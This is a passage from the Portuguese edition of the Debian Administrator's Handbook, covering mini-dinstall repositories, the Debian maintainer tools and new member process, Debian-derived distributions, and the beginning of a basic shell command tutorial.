release_codename = stable

[updates]
release_label = Recompiled Debian Packages

[internal]
release_label = Internal Packages

Uma decisão que merece atenção é a geração de arquivos Release para cada pacote. Isso pode
ajudar a gerenciar as prioridades de instalação de pacotes usando o arquivo de configuração
/etc/apt/preferences (veja em Seção 6.2.5, “Gerenciar prioridades de pacote” [116] para de-
talhes).

SEGURANÇA

mini-dinstall e
permissões

Como o mini-dinstall foi concebido para ser executado como um usuário nor-
mal, não há necessidade de executá-lo como root. A maneira mais fácil é configu-
rar tudo dentro da conta de usuário que pertence ao administrador encarregado
de criar os pacotes Debian. Uma vez que apenas este administrador tem as per-
missões necessárias para colocar os arquivos no directório incoming/, podemos
deduzir que o administrador autenticou a origem de cada pacote antes da publica-
ção e o mini-dinstall não precisam fazê-lo novamente. Isto explica o parâmetro
verify_sigs = 0 (o que significa que as assinaturas não precisam ser verificadas).
No entanto, se o conteúdo dos pacotes é secreto, podemos inverter o cenário e ele-
ger para autenticar com um chaveiro contendo as chaves públicas de pessoas com
autorização para criar pacotes (configurados com o parâmetro extra_keyrings);
mini-dinstall irá então verificar a origem de cada pacote de entrada através da
análise da assinatura integrado para o arquivo *.changes.
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Executar mini-dinstall começa, na verdade, umdaemon em segundo plano. Enquanto este da-
emon é executado, ele irá verificar se há novos pacotes no diretório incoming/ a cadameia hora;
quando um novo pacote chegar, ele será movido para o repositório e os arquivos Packages.gz
e Sources.gz serão restaurados. Se executar um daemon é um problema, mini-dinstall tam-
bém pode ser chamado manualmente no modo batch (com a opção -b) cada vez que um pacote
for enviado para o diretório incoming/. Outras possibilidades oferecidas pelo mini-dinstall
estão documentadas na sua página de manual mini-dinstall(1).

EXTRA

Gerando um arquivo
assinado

A suíte APT verifica uma cadeia de assinaturas criptográficas nos pacotes que ela
trata, antes de instalá-los, para que se garantam suas autenticidades (veja Seção 6.5,
“Verificando Autenticidade do Pacote” [126]). Repositórios APT privados podem
ser um problema, uma vez que as máquinas que os usam irão ficar exibindo alertas
de pacotes não assinados. Um administrador zeloso, portanto, integrará arquivos
privados com o mecanismo de APT seguro.

Para ajudar nesse processo, o mini-dinstall inclui uma opção de configuração
release_signscript que permite especificar um script que será usado para gerar
a assinatura. Um bom ponto de partida é o script sign-release.sh fornecido pelo
pacote mini-dinstall em /usr/share/doc/mini-dinstall/examples/; pode ser
relevante fazer mudanças específicas.

15.4. Tornando-se um Mantenedor de Pacotes

15.4.1. Aprendendo a Fazer Pacotes

Criar um pacote Debian de qualidade não é sempre uma tarefa fácil, e tornar-se ummantenedor
de pacote necessita aprendizado, tanto na teoria quanto na prática. Não é simplesmente uma
questão de construir ou instalar programas; em vez disso, a maior parte da complexidade vem
do entendimento de problemas e conflitos, e mais geralmente as interações, com a miríade de
outros pacotes disponíveis.

Regras

Um pacote Debian deve respeitar as regras precisas elaboradas na política Debian, e cada man-
tenedor do pacote deve conhecê-las. Não há nenhuma exigência de conhecê-las de cor, mas sim
de saber que elas existem e para consultá-las sempre que uma escolha apresente uma alterna-
tiva não-trivial. Todo mantenedor Debian comete erros por não conhecer uma regra, mas isso
não é um grande problema, contanto que o erro seja corrigido quando um usuário o relate com
um relatório de bug (o que tende a acontecer muito em breve graças a usuários avançados).
è https://www.debian.org/doc/debian-policy/
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Procedimentos

O Debian não é uma simples coleção de pacotes individuais. O trabalho de empacotamento de
cada um é parte de um projeto coletivo; ser um desenvolvedor Debian envolve saber como o
projeto Debian funciona como um todo. Todo desenvolvedor irá, mais cedo ou mais tarde, inte-
ragir com os outros. O livro Referência do Desenvolvedor Debian (o pacote developers-reference)
resume o que todo desenvolvedor deve saber, a fim de interagir da melhor forma possível com
as diversas equipes dentro do projeto, e para levar a melhores vantagens possíveis dos recur-
sos disponíveis. Este documento também enumera uma série de deveres que se espera que um
desenvolvedor cumpra.
è https://www.debian.org/doc/manuals/developers-reference/

Ferramentas

Muitas ferramentas ajudam os mantenedores de pacotes em seu trabalho. Esta seção as des-
creve rapidamente, mas não dá todos os detalhes, já que cada uma delas contém documentação
detalhada.

O Programa lintian Esta ferramenta é uma dasmais importantes: é o verificador de pacotes
Debian. É baseada em uma vastamatriz de testes criada pela política do Debian, e detecta rapida
e automaticamente muitos erros que podem ser então consertados antes de os pacotes serem
lançados.
Esta ferramenta é apenas um ajudante, e algumas vezes falha (por exemplo, já que a política do
Debianmuda como tempo, lintian fica algumas vezes desatualizado). Tambémnão é exaustiva:
não receber nenhum erro no Lintian não deve ser interpretado como prova de que o pacote é
perfeito; no máximo, ele evita os erros mais comuns.

O Programa piuparts Esta é outra ferramenta importante: ele automatiza a instalação, atua-
lização, remoção e limpeza de um pacote (em um ambiente isolado), verifica se nenhuma dessas
operações leva a um erro. Ela pode ajudar na detecção de dependências que estão faltando, e
tambémdetecta quando os arquivos são deixados incorretamente depois que o pacote foi expur-
gado.

devscripts O pacote devscripts contém diversos programas que ajudam com uma vasta gama
do trabalho dos desenvolvedores Debian:

• debuild permite gerar um pacote (com dpkg-buildpackage) e executar lintian para
verificar a compatibilidade com a política Debian depois.

• debclean limpa um pacote fonte após o pacote binário ter sido gerado.
• dch permite a edição rápida e facil do arquivo debian/changelog num pacote fonte.
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• uscan verifica se foi liberada uma nova versão de um software pelo autor principal; Isso
requer um arquivo debian/watch com uma descrição da localização de tais lançamentos.

• debi permite a instalação (com dpkg -i) do pacote Debian que acabou de ser gerado sem
a necessidade de digitar seu nome e caminho completos.

• De uma maneira similar, debc permite varrer o conteúdo de um pacote recentemente
criado (com dpkg -c), sem a necessidade de digitar o nome e caminho completos.

• bts controla o sistema de bug pela linha de commando, este programa automaticamente
gera os e-mails apropriados.

• debrelease envia um pacote recém gerado a um servidor remoto, sem a necessidade de
digitar o nome e caminho completos do arquivo .changes relacionado.

• debsign assina os arquivos *.dsc e *.changes.
• uupdate automatiza a criação de umanova revisão de umpacote quando umanova versão
upstream é lançada.

debhelper e dh-make Debhelper é um conjunto de scripts que facilitam a criação de pacotes
compatíveis com a política; esses scripts são chamados a partir do debian/rules. Debhelper
tem sido amplamente adotado no Debian, como evidenciado pelo fato de que ele é usado pela
maioria dos pacotes Debian oficiais. Todos os comandos dele contém um prefixo dh_.
O script dh_make (no pacote dh-make) cria arquivos necessários para a geração de um pacote
Debian em um diretório inicialmente contendo os fontes do programa. Como você pode ter
adivinhado pelo nome do programa, o arquivo gerado usa por padrão o debhelper.

dupload e dput Os comandos dupload e dput permitem o upload de um pacote Debian para
um servidor (possivelmente remoto). Isto permite aos desenvolvedores publicarem seu pacote
no servidor principal Debian (ftp-master.debian.org) de modo que ele possa ser integrado ao
repositório e distribuído pelos espelhos. Estes comandos pegam um arquivo *.changes como
parâmetro, e deduzem os outros arquivos relevantes a partir de seu conteúdo.

15.4.2. Processo de Aceitação

Tornar-se um desenvolvedor Debian não é somente uma questão administrativa. O processo
compreende vários passos, e é tanto uma iniciação quando um processo seletivo. Em todo caso,
é formalizado e bem documentado, então qualquer um pode verificar o progresso no site web
dedicado para o processo de novos membros.
è https://nm.debian.org/

EXTRA

Processo leve para
”Mantenedores Debian”

”Mantenedor Debian” é outro status que dá menos privilégios que o ”Desenvolve-
dor Debian”, mas que tem um processo associado mais rápido. Com esse status,
os contribuidores podem manter seus próprios pacotes apenas. Um desenvolve-
dor Debian só precisa executar uma verificação em um envio inicial, e emitir uma
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declaração para efeito de que eles confiam no mantenedor prospectivo sobre a ca-
pacidade de manter o pacote por conta própria.

Pré-requisitos

É esperado de todos os candidatos ter aomenos conhecimento da lingua inglesa. Isto é requerido
em todos os níveis: para a comunicação inicial como examinador, é claro,mas tambémdepois, já
que o inglês é a lingua preferida namaioria dos documentos; também, os usuários dos pacotes se
comunicarão em inglês quando reportarem erros, e os mesmos esperam uma reposta em inglês.
Outro pré-requisito lida com motivação. Tornar-se um desenvolvedor Debian é um processo
que somente faz sentido se o candidato sabe que seu interesse no Debian durará mais do que
muitos meses. O processo de aceitação em si deve durar diversos meses, e o Debian precisa de
desenvolvedores para um longo trajeto; cada pacote precisa de manutenção permanente, e não
somente uma versão inicial.

Registrando

O primeiro passo (real) consiste em encontrar um patrocinador ou defensor; isso significa um
desenvolvedor oficial disposto a afirmar que ele acredita que aceitarX seria uma coisa boa para o
Debian. Isso geralmente significa que o candidato já foi ativo dentro da comunidade, e que o seu
trabalho foi apreciado. Se o candidato é tímido e seu trabalho não é apresentado publicamente,
ele pode tentar convencer um desenvolvedor Debian para defendê-lo, mostrando o seu trabalho
em privado.
Ao mesmo tempo, o candidato deve gerar um par de chaves RSA pública/privada com o GnuPG,
que deve ser assinado por pelo menos dois desenvolvedores oficiais Debian. A assinatura au-
tentica o nome da chave. Efetivamente, durante uma festa de assinatura de chaves, cada par-
ticipante deve mostrar uma identificação oficial (normalmente um cartão de identificação ou
passaporte), juntamente com os seus identificadores de chave. Esta etapa confirma a ligação en-
tre o humano e as chaves. Esta assinatura, portanto, requer um encontro na vida real. Se você
ainda não encontrou quaisquer desenvolvedores Debian em uma conferência pública de soft-
ware livre, você pode procurar explicitamente desenvolvedores que vivem nas proximidades
usando a lista na seguinte página web como um ponto de partida.
è https://wiki.debian.org/Keysigning

Uma vez que o registro no nm.debian.org foi validado pelo defensor, um Gerenciador de Aplicações
é atribuído ao candidato. O gerenciador de aplicativos, então, conduz o processo através de
várias etapas e verificações pré-definidas.
A primeira verificação é uma verificação de identidade. Se você já tiver uma chave assinada por
dois desenvolvedores Debian, este passo é fácil; caso contrário, o Gerenciador de aplicativos irá
tentar e guiá-lo em sua busca por desenvolvedores Debian por perto para organizar umencontro
e uma assinatura de chaves.
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Aceitando os Princípios

Estas formalidades administrativas são seguidas por considerações filosóficas. O ponto é ter
certeza de que o candidato compreende e aceita o contrato social e os princípios por trás do
Software Livre. Se juntar ao Debian só é possível se a pessoa compartilha os valores que unem
os desenvolvedores atuais, como expresso nos textos fundamentais (e resumido na Capítulo 1,
O Projeto Debian [2]).
Alémdisso, de cada candidato que pretende aderir às fileiras Debian é esperado saber o funciona-
mento do projeto e como interagir de forma adequada para resolver os problemas que elas irão
sem dúvida encontrar com o passar do tempo. Toda esta informação geralmente está documen-
tada nosmanuais feitos para o novomantenedor e na Referência doDesenvolvedor Debian. Uma
leitura atenta deste documento deve ser suficiente para responder às perguntas do examinador.
Se as respostas não forem satisfatórias, o candidato será informado. Em seguida, ele terá que
ler (novamente) a documentação pertinente antes de tentar novamente. Nos casos onde a do-
cumentação existente não contém a resposta adequada para a questão, o candidato geralmente
pode chegar a uma resposta com alguma experiência prática dentro do Debian, ou potencial-
mente, discutindo com outros desenvolvedores Debian. Esse mecanismo garante que candida-
tos se envolvam um pouco no Debian antes de se tornarem parte integral dele. É uma postura
deliberada, por que candidatos que eventualmente se unem ao projeto integram-se como uma
peça de um quebra-cabeça infinitamente extensível.
Esta etapa é geralmente conhecido como Philosophy & Procedures - Filosofia & Procedimentos (P&P
abreviando) no jargão dos programadores envolvidos no processo de novos membros.

Verificando Habilidades

Cada aplicação para se tornar um desenvolvedor oficial Debian deve ser justificada. Se tornar
um membro do projeto requer demonstrar que esse status é legítimo, e que facilita o trabalho
do candidato no sentido de ajudar o Debian. A justificativa mais comum é que a concessão de
status de desenvolvedor Debian facilita a manutenção de um pacote Debian, mas não é o única.
Alguns desenvolvedores participamdoprojeto para contribuir para portar para uma arquitetura
específica, outros querem melhorar a documentação, e assim por diante.
Esta etapa representa a oportunidade para o candidato afirmar o que ele pretende fazer dentro
do projeto Debian e para mostrar o que ele já fez para esse fim. Debian é um projeto pragmático
e dizer alguma coisa não é suficiente, se as ações não correspondem ao que é anunciado. Geral-
mente, quando o papel pretendido dentro do projeto está relacionado a manutenção depacotes,
uma primeira versão do pacote prospectado terá que ser validada tecnicamente e enviada para
os servidores Debian por um patrocinador entre os desenvolvedores Debian existentes.

COMUNIDADE

Patrocinando
Desenvolvedores Debian podem ”patrocinar” pacotes preparados por outra pessoa,
o que significa que eles os publicam nos repositórios oficiais do Debian, após terem
efetuado uma revisão cuidadosa. Este mecanismo permite que pessoas externas,
que ainda não passaram pelo processo de novo membro, contribuam ocasional-
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mente para o projeto. Ao mesmo tempo, ele garante que todos os pacotes incluídos
no Debian sempre serão verificados por um membro oficial.

Finalmente, o examinador verifica as habilidades técnicas (de empacotamento) do candidato
com um questionário detalhado. Respostas ruins não são permitidas, mas o tempo de resposta
não é limitado. Toda a documentação está disponível e várias tentativas são permitidas se as
primeiras respostas não são satisfatórias. Esta etapa não tem a intenção de discriminar, mas de
garantir pelo menos um mínimo de conhecimento comum para novos colaboradores.
Este passo é conhecido comoTasks&Skills - Tarefas&Habilidadespasso (T&S abreviando) no jargão
dos examinadores.

Aprovação Final

No último passo, todo o processo é revisado por um DAM (Debian Account Manager - Gerente de
Contas Debian). O DAM irá rever todas as informações sobre o candidato que o examinador co-
letou, e tomar decisão sobre se deve ou não criar uma conta nos servidores Debian. Nos casos
em que informação adicional é necessária, a criação da conta pode ser adiada. As recusas são
bastante raras, se o examinador faz um bom trabalho ao acompanhar o processo, mas às vezes
acontecem. Elas nunca são permanentes, e o candidato é livre para tentar novamente em um
momento posterior.
A decisão do DAM é autoritária e (quase sempre) sem apelação, o que explica porque pessoas
nessa posição foram frequentemente criticadas no passado.

455Capítulo 15 — Criando um Pacote Debian



Futuro
Melhorias
Opiniões



Capítulo

16Conclusão: O
Futuro do Debian

Desenvolvimentos futuros 458 Futuro do Debian 458 O Futuro deste Livro 459

A história da Falcot Corp termina com este último capítulo; mas o Debian continua, e o futuro certamente
trará muitas surpresas interessantes.



16.1. Desenvolvimentos futuros

Semanas (oumeses) antes de uma nova versão do Debian ser lançada, o Gerente de Lançamentos
escolhe o codinome para a próxima versão. Agora que o Debian versão 8 saiu, os desenvolvedo-
res já estão ocupados trabalhando na próxima versão, codinome Stretch…
Não existe nenhuma lista oficial de mudanças planejadas, e o Debian nunca faz promessas com
relação a objetivos técnicos das próximas versões. Entretanto, algumas tendências no desenvol-
vimento já podem ser notadas, e nós podemos tentar fazer algumas apostas sobre o que pode
acontecer (ou não).
Para aprimorar a segurança e confiabilidade, a maioria, senão todos os pacotes serão feitos para
construção reprodutível; quer dizer, será possível reconstruir, byte a byte, pacotes binários idên-
ticos a partir dos pacotes fonte, e assim, permitir que qualquer um verifique que nenhuma adul-
teração ocorreu durante as construções.
De forma similar, muito esforço foi feito para aprimorar a segurança por padrão, e mitigar tanto
ataques ”tradicionais” quanto as novas ameças implícitas através de vigilância em massa.
Claro que todas as suites principais de software tiveramumgrande lançamento. A última versão
de vários ambientes gráficos de trabalho trazem melhor usabilidade e novos recursos. O Way-
land, um novo servidor gráfico que está sendo desenvolvido para substituir o X11 como uma
alternativa mais moderna, estará disponível (embora talvez não como padrão) para ao menos
alguns ambientes gráficos de trabalho.
Um novo recurso do software de manutenção de repositórios, ”bikesheds”, irá permitir aos de-
senvolvedores hospedar repositórios com pacotes de propósitos especiais em adição aos repo-
sitórios principais; isso irá permitir ter repositórios pessoais de pacotes, repositórios para soft-
ware ainda não prontos para ir para o repositório principal, repositórios para software que tem
apenas uma audiênciamuito pequena, repositórios temporários para testar novas idéias, e assim
por diante.

16.2. Futuro do Debian

Além destes desenvolvimentos internos, é esperado que novas distribuições baseadas no Debian
apareçam, já que muitas ferramentas estão deixando esta tarefa mais fácil. Novos subprojetos
especializados também serão iniciados, a fim de ampliar o alcance do Debian para novos hori-
zontes.
A comunidade Debian crescerá, e novos contribuidores se juntarão ao projeto... incluindo, tal-
vez, você!
O projeto Debian está mais forte do que nunca, e bem encaminhado em seu objetivo de se tornar
uma distribuição universal; a piada interna dentro da comunidade Debian é sobre Dominar o
mundo.
Apesar da sua idade avançada e seu tamanho respeitável, o Debian continua crescendo em todas
(algumas vezes inesperadas) as direções. Contribuidores estão repletos de ideias, e discussões
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na listas de e-mails de desenvolvimentos, mesmo quando elas parecem insignificantes, conti-
nuam aumentando o impulso. O Debian às vezes é comparado a um buraco negro, de tamanha
densidade que qualquer projeto de software livre é atraído.
Além da aparente satisfação da maioria dos usuários do Debian, uma profunda tendência está se
tornando mais e mais incontestável: as pessoas estão cada vez mais percebendo que colaborar,
em vez de trabalhar sozinho em seu canto, leva a melhores resultados. Tal é o raciocínio usado
por distribuições que estão fundindo-se com o Debian por meio de subprojetos.
O projeto Debian, portanto, não está ameaçado de extinção…

16.3. O Futuro deste Livro

Nós queremos que este livro evolua no espírito dos programas livres. Portanto, damos
boas-vindas a contribuições, sugestões e críticas. Por favor enviem-nas a Raphaël (hert-
zog@debian.org) ou Roland (lolando@debian.org). Para informações práticas, sinta-se à von-
tade para abrir relatórios de bug contra o pacote Debian debian-handbook. O site será utilizado
para recolher todas as informações relevantes para sua evolução, e você vai descobrir que há in-
formações sobre como contribuir, em particular, se você quiser traduzir este livro para torná-lo
disponível para um público ainda maior do que hoje.
è http://debian-handbook.info/

Nós tentamos integrar omáximo que a nossa experiência com o Debian nos ensinou, demaneira
que qualquer um possa usa essa distribuição e tirar o melhor proveito o mais rápido possível.
Nós esperamos que este livro contribua para fazer o Debian menos confuso e mais popular, e
para nós é bem-vinda qualquer publicidade a respeito do Debian!
Nós gostaríamos de concluir com uma nota pessoal. Escrever (e traduzir) este livro tomou um
tempo considerável das nossas atividades profissionais corriqueiras. Uma vez que todos nós
somos consultores autônomos, qualquer nova fonte de renda nos garante a liberdade de passar
mais tempo melhorando o Debian; nós esperamos que este livro seja um sucesso e contribua
para isso. Enquanto isso, sinta-se a vontade para contratar nossos serviços!
è http://www.freexian.com

è http://www.gnurandal.com

Vejo vocês em breve!
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A.1. Censo e Cooperação

O projeto Debian reconhece plenamente a importância de distribuições derivadas e apoia ativa-
mente a colaboração entre todas as partes envolvidas. Isso geralmente envolve a fusão (merge)
do retorno das melhorias desenvolvidas inicialmente pelas distribuições derivadas para que to-
dos possam se beneficiar e, a longo prazo, diminuir o trabalho de manutenção.
Isso explica porque distribuições derivadas são convidadas a se envolver em discussões na lista
de discussão debian-derivatives@lists.debian.org, e para participar do censo das distros deriva-
das. Este recenseamento visa recolher informações sobre o trabalho que acontece emumadistro
derivada para que os mantenedores do Debian oficiais possam controlar melhor o estado de seu
pacote em variantes do Debian.
è https://wiki.debian.org/DerivativesFrontDesk

è https://wiki.debian.org/Derivatives/Census

Vamos agora descrever brevemente as distribuições derivadas mais interessantes e populares.

A.2. Ubuntu

O Ubuntu chamou bastante atenção quando entrou na cena do Software Livre, e por boas ra-
zões: A Canonical Ltd., empresa que criou esta distribuição, iniciou contratando cerca de trinta
desenvolvedores Debian e afirmou publicamente o objetivo a longo prazo de proporcionar uma
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distribuição para o público em geral com uma nova versão duas vezes por ano. Eles também se
comprometeram a dar suporte a cada versão por um ano e meio.
These objectives necessarily involve a reduction in scope; Ubuntu focuses on a smaller num-
ber of packages than Debian, and relies primarily on the GNOME desktop (although an official
Ubuntu derivative, called “Kubuntu”, relies on KDE Plasma). Everything is internationalized
and made available in a great many languages.
Até agora, o Ubuntu tem conseguido manter este ritmo de liberação. Eles também publicam
versões de Suporte a Longo Prazo (LTS - Long Term Support), com a promessa de manutenção por
5 anos. Em abril de 2015, a versão LTS atual é a 14.04, apelidada de ”Utopic Unicorn”. A última
versão não LTS é a versão 15.04, com apelido ”Vivid Vervet”. Os números da versão descrevem
a data de lançamento: por exemplo, 15.04 foi lançada em abril de 2015.

NA PRATICA

A promessa de suporte e
manutenção do Ubuntu

A Canonical tem ajustado várias vezes as regras que controlam o tamanho do pe-
ríodo no qual uma determinada versão é mantida. A Canonical, como empresa,
promete fornecer atualizações de segurança para todo o software disponível nas se-
ções main e restricted do repositório Ubuntu por 5 anos para versões LTS e para
9 meses para versões não LTS. Todo o resto (disponível no universe e multiverse)
é mantido por voluntários da equipe MOTU (Masters Of The Universe), com base
no melhor esforço. Prepare-se para lidar com suporte de segurança por sua conta
se depende de pacotes nestas últimas seções.

OUbuntu atingiu uma vasta audiência no público em geral. Milhões de usuários ficaram impres-
sionados com a sua facilidade de instalação, e o trabalho que foi feito para torná-lo o desktop
mais simples de usar.
O Ubuntu e o Debian costumavam ter um relacionamento tenso; desenvolvedores Debian que
tinhamcolocadomuitas esperanças noUbuntu contribuindodiretamente comoDebian estavam
desapontados pela diferença entre a propaganda da Canonical, que creditava ao Ubuntu ser um
bom cidadão no mundo do Software Livre, e a real prática onde ele apenas tornava pública as
alterações que ele aplicava nos pacotes Debian. As coisas tem se tornadomelhores com o passar
dos anos, e o Ubuntu tem agora como uma prática comum repassar ”patches” para os lugares
mais apropriados (embora isso apenas se aplique no software externo que eles empacotam e não
aos softwares específicos do Ubuntu, tal como Mir ou Unity).
è http://www.ubuntu.com/

A.3. Linux Mint

Linux Mint é uma distribuição mantida (em parte) pela comunidade, apoiada por doações e pro-
pagandas. Seu principal produto é baseado no Ubuntu, mas também fornecem uma variante
”Edição Linux Mint Debian” que evolui continuamente (pois é baseado no Debian Testing). Em
ambos os casos, a instalação inicial envolve a inicialização por um LiveDVD.
The distribution aims at simplifying access to advanced technologies, and provides specific
graphical user interfaces on top of the usual software. For instance, Linux Mint relies on Cinna-
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mon instead of GNOME by default (but it also includes MATE as well as Plasma and Xfce); simi-
larly, the package management interface, although based on APT, provides a specific interface
with an evaluation of the risk from each package update.
O Linux Mint inclui uma grande quantidade de softwares proprietários para melhorar a experi-
ência de usuários que podem precisar deles. Por exemplo: Adobe Flash e codecs multimídia.
è http://www.linuxmint.com/

A.4. Knoppix

A distribuição Knoppix quase não precisa de introdução. Foi a primeira distribuição popular a
proporcionar um LiveCD; em outras palavras, um CD-ROM inicializável que executa um sistema
Linux sem necessidade de um disco rígido - logo, qualquer sistema já instalado na máquina fi-
cará intocado. A detecção automática de dispositivos disponíveis permite que essa distribuição
trabalhe na maioria das configurações de hardware. O CD-ROM inclui quase 2 GB de softwares
(compactados), e a versão DVD-ROM tem ainda mais.
Combining this CD-ROM to a USB stick allows carrying your files with you, and to work on any
computer without leaving a trace — remember that the distribution doesn’t use the hard-disk
at all. Knoppix uses LXDE (a lightweight graphical desktop) by default, but the DVD version also
includes GNOME and Plasma. Many other distributions provide other combinations of desktops
and software. This is, in part, made possible thanks to the live-build Debian package that makes
it relatively easy to create a LiveCD.
è http://live.debian.net/

Note que o Knoppix também fornece um instalador: você pode experimentar primeiro a distri-
buição como um LiveCD e depois instalá-lo em um disco rígido para obter um melhor desempe-
nho.
è http://www.knopper.net/knoppix/index-en.html

A.5. Aptosid e Siduction

Essas distribuições baseadas na comunidade acompanham as alterações no Debian Sid (Instável)
- daí o seu nome. As modificações são limitadas a um escopo: o objetivo é fornecer o software
mais recente e atualizar os drivers para o hardware mais recente, enquanto ainda permite aos
usuários alternar de volta para a distribuição Debian oficial a qualquer momento. O Aptosid
era previamente conhecido como Sidux, e o Siduction é o mais recente trabalho derivado do
Aptosid.
è http://aptosid.com

è http://siduction.org
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A.6. Grml

GRML é um LiveCD com muitas ferramentas para administradores de sistema, lidando com a
instalação, implantação e recuperação do sistema. O LiveCD é fornecido em dois sabores, full e
small, ambos disponíveis para PCs de 32 bits e de 64 bits. Obviamente, os dois sabores diferem
pela quantidade de software incluído e pelo tamanho resultante.
è https://grml.org

A.7. Tails

O Tails (The Amnesic Incognito Live System) tem como objetivo fornecer um sistema ”live” que
preserva o anonimato e privacidade. Ele toma muito cuidado para não deixar qualquer rastro
no computador em que ele roda, e usa a rede Tor para conectar na internet pela maneira mais
anônima possível.
è https://tails.boum.org

A.8. Kali Linux

O Kali Linux é uma distribuição baseada no Debian especializada em testes de penetração (“pen-
testing” para abreviar). Ela provê software que ajuda a auditar a segurança de um computador
ou rede existente enquanto está funcionando, e faz a analize após um ataque (o que é conhecido
como “computação forense”).
è https://kali.org

A.9. Devuan

O Devuan é um derivado relativamente novo do Debian: ele foi iniciado em 2014, como uma
reação a decisão tomada pelo Debian de trocar o sistema init padrão para o systemd. Um grupo
de usuários ligados ao sysv e assinalando inconvenientes (reais ou percebidos) ao systemd ini-
ciaram o Devuan com o objetivo de manter um sistema sem o systemd. Em março de 2015 eles
não tinham publicado nenhum lançamento real; ainda resta ser visto se o projeto irá posperar
e encontrar seu nincho, ou se os oponentes ao systemd irão aprender a aceitá-lo.
è https://devuan.org

A.10. Tanglu

O Tanglu é outro derivado do Debian; ele é baseado em umamistura do Debian Teste (”Testing”) e
Instável (”Unstable”), com ”patches” para alguns pacotes. Seu objetivo é prover uma distribuição
desktop amigável baseada em software recente, sem as restrições de lançamento do Debian.
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è http://tanglu.org

A.11. DoudouLinux

DoudouLinux tem como objetivo as crianças pequenas (a partir de 2 anos de idade). Para atingir
esse objetivo, ele oferece uma interface gráfica totalmente personalizada (baseado no LXDE) e
vem com muitos jogos e aplicações educativas. O acesso à internet é filtrado para evitar que as
crianças visitem páginas web problemáticas. Anúncios são bloqueados. O objetivo é que os pais
devem se sentir à vontade para deixar seus filhos usarem seu computador uma vez inicializado
noDoudouLinux. E as crianças deveriam adorar usar DoudouLinux, damesma forma que gostam
dos seus consoles de videogame.
è http://www.doudoulinux.org

A.12. Raspbian

O Raspbian é uma reconstrução do Debian optimizada para a popular (e de baixo custo) famí-
lia Raspberry Pi de computadores ”single-board”. O hardware para essa plataforma é mais po-
deroso que o que a arquitetura Debian armel pode aproveitar, mas faltam alguns recursos que
seriam necessários para armhf ; então o Raspbian é um tipo de intermediário, reconstruido espe-
cificamente para esse hardware e incluindo ”patches” objetivando apenas esse computador.
è https://raspbian.org

A.13. E Muito Mais

OsiteDistroWatch referencia umnúmero enormededistribuições de Linux,muitas das quais são
baseadas em Debian. Navegar neste site é uma ótima maneira de ter uma noção da diversidade
no mundo do Software Livre.
è http://distrowatch.com

O formulário de pesquisa pode ajudar a rastrear uma distribuição baseada em sua ancestralidade.
Em Março de 2015, uma busca por Debian levou-o a 131 distribuições ativas!
è http://distrowatch.com/search.php

465Distribuições Derivadas

http://tanglu.org
http://www.doudoulinux.org
https://raspbian.org
http://distrowatch.com
http://distrowatch.com/search.php




Apêndice

BCurso Rápido de
Reparação

Shell e Comandos Básicos 467 Organização da Hierarquia de Sistema de Arquivos 470
Funcionamento Interno de um Computador: As Diferentes Camadas Envolvidas 472

Algumas Tarefas realizadas pelo Núcleo 474 O Espaço de Usuário 478

B.1. Shell e Comandos Básicos

No mundo Unix, todo administrador de sistemas terá que usar linha de comandos mais cedo
ou mais tarde; por exemplo, quando o sistema falha em iniciar corretamente e provê somente o
modo de recuperação via linha de comando. Ser capaz de trabalhar com esta interface, portanto,
é uma habilidade de sobrevivência básica para estas circunstâncias.

OLHAR RÁPIDO

Iniciando o interpretador
de comando

A command-line environment can be run from the graphical desktop, by an appli-
cation known as a “terminal”. In GNOME, you can start it from the “Activities”
overview (that you get when you move the mouse in the top-left corner of the
screen) by typing the first letters of the application name. In Plasma, you will find
it in the K→ Applications→ System menu.

Esta seção só dá uma olhada rápida nos comandos. Todos eles têm muitas opções não descritas
aqui. Então, por favor, visite a vasta documentação das suas respectivas páginas de manual.

B.1.1. Navegando na Árvore de Diretórios e Gerenciando Arquivos

Uma vez que uma sessão é aberta, o comando pwd (que significa print working directory - imprimir
o diretório de trabalho) mostra a localização atual no sistema de arquivos. O diretório atual é
alterado com o comando cd diretório (cd serve para alterar o diretório - change directory). O



diretório pai é sempre chamado .. (dois pontos), enquanto o diretório atual também é conhecido
como . (ponto). O ls permite listar o conteúdo de um diretório. Se nenhum parâmetro é dado,
ele opera no diretório atual.
$ pwd
/home/rhertzog
$ cd Desktop
$ pwd
/home/rhertzog/Desktop
$ cd .
$ pwd
/home/rhertzog/Desktop
$ cd ..
$ pwd
/home/rhertzog
$ ls
Desktop Downloads Pictures Templates
Documents Music Public Videos

Umnovo diretório pode ser criado com mkdir diretório, e umdiretório (vazio) existente pode
ser removido com rmdir diretório. O comando mv permitemover e/ou renomear arquivos e
diretórios; para remover um arquivo use rm arquivo.
$ mkdir teste
$ ls
Desktop Downloads Pictures Templates Videos
Documents Music Public teste
$ mv teste novo
$ ls
Desktop Downloads novo Public Videos
Documents Music Pictures Templates
$ rmdir novo
$ ls
Desktop Downloads Pictures Templates Videos
Documents Music Public

B.1.2. Mostrando e Modificando Arquivos Texto

O comando cat arquivo (destinado a concatenar arquivos para o dispositivo de saída padrão)
lê um arquivo e exibe seu conteúdo no terminal. Se o arquivo é muito grande para caber na tela,
use um paginador como o less (ou more) para exibir o conteúdo página a página.
O comando editor inicia um editor de texto (como o vi ou o nano) e permite criar, modificar e
ler arquivos de texto. Os arquivos mais simples às vezes podem ser criados diretamente a partir
do interpretador de comandos graças ao redirecionamento: echo ”texto”>arquivo cria um
arquivo chamado arquivo com ”texto” como o seu conteúdo. Também é possível adicionar uma
linha no final deste arquivo com um comando como echo ”maistexto”>>arquivo. Note o >>
deste exemplo.
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B.1.3. Procurando por e nos Arquivos

O comando find diretório critérios procura por arquivos na hierarquia sob o diretório de
acordo com vários critérios. O critério mais comum é -name name: que permite procurar um
arquivo pelo nome.
O comando grep expressão arquivos procura o conteúdo nos arquivos e extrai as linhas cor-
respondentes na expressão regular (veja na barra lateral Expressão regular [277]). Adicionando
a opção -r habilita a procura recursiva em todos os arquivos contidos no diretório passado como
um parâmetro. Isto permite procurar por um arquivo quando somente uma parte do conteúdo
é conhecido.

B.1.4. Gerenciamento de Processos

O comando ps aux lista os processos rodando atualmente e ajuda a identificá-los exibindo
seus pid (identificador do processo). Uma vez que o pid de um processo é conhecido, o comando
kill -signal pid permite enviar um sinal para ele (se o processo pertence ao usuário atual).
Existem muitos sinais; os mais usados comumente são TERM (uma requisição para terminar
suavemente) e KILL (matar o processo à força).
O interpretador de comando também pode rodar programas em segundo plano se o comando
é seguido de um “&”. Ao utilizar o ”e comercial”, o usuário retorna o controle para o shell
imediatamente mesmo que o comando ainda esteja rodando (oculto para o usuário; como um
